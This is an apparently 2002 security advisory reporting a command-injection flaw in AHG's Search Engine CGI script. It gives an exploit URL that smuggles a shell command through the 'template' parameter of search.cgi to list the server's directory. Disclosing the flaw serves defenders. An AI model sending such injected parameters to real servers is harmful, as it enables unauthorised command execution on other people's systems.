[NEWS] Bug in AHG Search Engines Leads to Code Execution

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Date: 01/29/02


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Date: Tue, 29 Jan 2002 22:32:50 +0100 (CET)

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  Bug in AHG Search Engines Leads to Code Execution
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SUMMARY

AHG's <http://www.ahg.com/software_frame.htm#searchengines> Search Engine
can search sites with a maximum of 500 - 800 pages. A security
vulnerability in the product allows execution of arbitrary code.

DETAILS

Exploit:
For example, to list the current directory:
http://www.example.com/cgi-bin/publisher/search.cgi?dir=jobs&template=;ls|&output_number=10

ADDITIONAL INFORMATION

The information has been provided by <mailto:xakepsin@quake.ru> Aleksey
Sintsov.

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